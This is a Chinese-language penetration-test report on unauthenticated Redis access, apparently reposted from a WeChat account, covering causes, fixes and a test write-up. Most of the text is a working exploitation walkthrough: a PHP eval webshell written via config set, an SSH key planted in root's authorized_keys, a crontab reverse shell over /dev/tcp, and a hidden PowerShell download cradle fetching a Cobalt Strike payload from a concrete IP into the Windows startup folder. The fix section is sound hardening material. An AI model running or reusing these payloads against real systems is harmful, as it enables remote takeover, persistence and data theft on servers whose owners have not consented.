9.Redis未授权访问漏洞
漏洞名称
Redis未授权访问漏洞
漏洞地址
https://zhuanlan.zhihu.com/p/386709187
漏洞等级
高危
漏洞描述
Redis 默认情况下,会绑定在 0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
漏洞成因
1.redis绑定在 0.0.0.0:6379
,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;2.没有设置密码认证(一般为空),可以免密码远程登录redis服务。
漏洞危害
1.攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;2.攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;3.最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
修复方案
1.禁止使用root权限启动redis服务。2.对redis访问启动密码认证。
增加redis访问密码
在redis.conf
配置文件中找到requirepass
配置项,取消#
注释符,在requirepass
后面添加设置的密码。设置密码以后发现可以登录,但是无法执行命令了。
2.1 启动redis客户端,并连接服务器:redis-cli -h IP地址 -p 端口号
输出服务器中的所有key:keys *
报错:(error) ERR operation not permitted
使用授权命令进行授权,就不报错了:auth youpassword
2.2 在连接服务器的时候就可以指定登录密码,避免单独输入上面授权命令:redis-cli -h IP地址 -p 端口号 -a 密码
2.3 在配置文件redis.conf
中配置验证密码以外,也可以在已经启动的redis服务器通过命令行设置密码,但这种方式是临时的,当服务器重启了后,密码必须重设。命令行设置密码方式:config set requirepass 你的密码
2.4 不知道当前redis服务器是否有设置验证密码,或者忘记密码,可以通过命令行输入命令查看密码:config get requirepass
2.5 如果redis服务端没有配置密码,会得到nil,而如果配置了密码,但是redis客户端连接redis服务端时,没有用密码登录验证,会提示:operation not permitted
,这时候可以用命令:auth yourpassword
进行验证密码,再执行 config set requirepass
,就会显示yourpassword
1.添加IP访问限制,并更改默认6379端口。
限制redis访问:修改redis.conf
文件
把# bind 127.0.0.1
前面的 注释#
号去掉,然后把127.0.0.1
改成允许访问你的redis服务器的ip地址,表示只允许该ip进行访问。这种情况下,我们在启动redis服务器的时候不能再用:redis-server
1.修改默认端口:修改redis.conf
文件
修改默认端口 port 6379
(注意:尽量不要和其他服务端口号冲突,改成一些少用或不常见的端口号即可)
测试过程
使用redis客户端直接无账号成功登录redis:
redis-cli -h x.x.x.x
利用redis写webshell
通过向Web目录中写webshell的方式进行getshell
利用前提:
1.redis链接未授权,在攻击机上能用redis-cli
连上,并未登录验证。2.开了web服务器,并且知道路径(如利用phpinfo
,或者错误爆路经),还需要具有文件读写增删改查权限 (我们可以将dir
设置为一个目录a,而dbfilename
为文件名b,再执行save
或bgsave
,则我们就可以写入一个路径为a/b
的任意文件)。
限制条件:
Web目录已知,当前用户在该目录下具有写权限。
config set dir /var/www/html/ #写shell的路径
config set dbfilename shell.php
config set webshell "<?php @eval($_POST['shell']); ?>"
save
第三步写入webshell时可以使用以下命令,rnrn
代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
set x "rnrn<?php phpinfo(); ?>rnrn"
当数据库过大时,redis写shell的小技巧:
<?php
set_time_limit(0);
$fp=fopen('shell.php','w');
fwrite($fp,'<?php @eval($_POST["shell"]) ;?>');
exit();
?>
利用"公私钥"认证获取root权限
通过写SSH key的方式进行getshell
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
在攻击机中生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa # 密码为空
进入.ssh
目录:cd .ssh/
,将生成的公钥写到文件``pub.txt`中:
(echo -e "nnnn"; cat id_rsa.pub; echo -e "nnnn") > pub.txt
连接目标Redis,将保存的ssh
公钥pub.txt
写入Redis
使用redis-cli -h ip
命令连接,将文件写入
cat pub.txt | redis-cli -h x.x.x.x -x set crack
远程登录靶机的redis服务:redis-cli -h 192.168.0.104
并使用 CONFIG GET dir
命令得到redis备份的路径:
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh
):
设置上传公钥的备份文件名字为authorized_keys
:
检查是否更改成功(查看有没有authorized_keys文件
),没有问题就保存然后退出,
至此成功写入ssh公钥。
redis-cli -h x.x.x.x
config get dir # 获取redis备份的路径
config set dir /root/.ssh
config set dbfilename authorized_keys
save
在攻击机上使用ssh免密登录靶机:ssh -i id_rsa [email protected]
利用私钥成功登录redis服务器!!!
ssh远程连接
ssh -i id_rsa [email protected]
利用crontab反弹shell
通过写corntab的方式进行getshell
在权限足够的情况下,利用redis写入文件到计划任务目录下执行。
端口监听:
本地监听未占用的端口
nc -lvvp 8888
连接Redis,写入反弹shell
redis-cli -h x.x.x.x
config set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save
等待一分钟后收到shell。
Windows环境下redis未授权访问的利用
写入启动项
windows下启动项的目录为:
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
这边有个小细节,由于Start Menu之间有空格,因此需要用双引号将路径包含。
内网中在这里我选在CS做C2,先启动一个服务端:
./teamserver x.x.x.x 555
客户端连接,添加一个listener:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://82.156.13.32:8085/a'))"
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
set x "rnrnpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://82.156.13.32:8085/a'))"rnrn"
save
其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn
才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义。
重启机器,服务器就上线了。
复测情况
已修复
测试人员
南风向晚
原文始发于微信公众号(利刃藏锋):Redis未授权访问漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论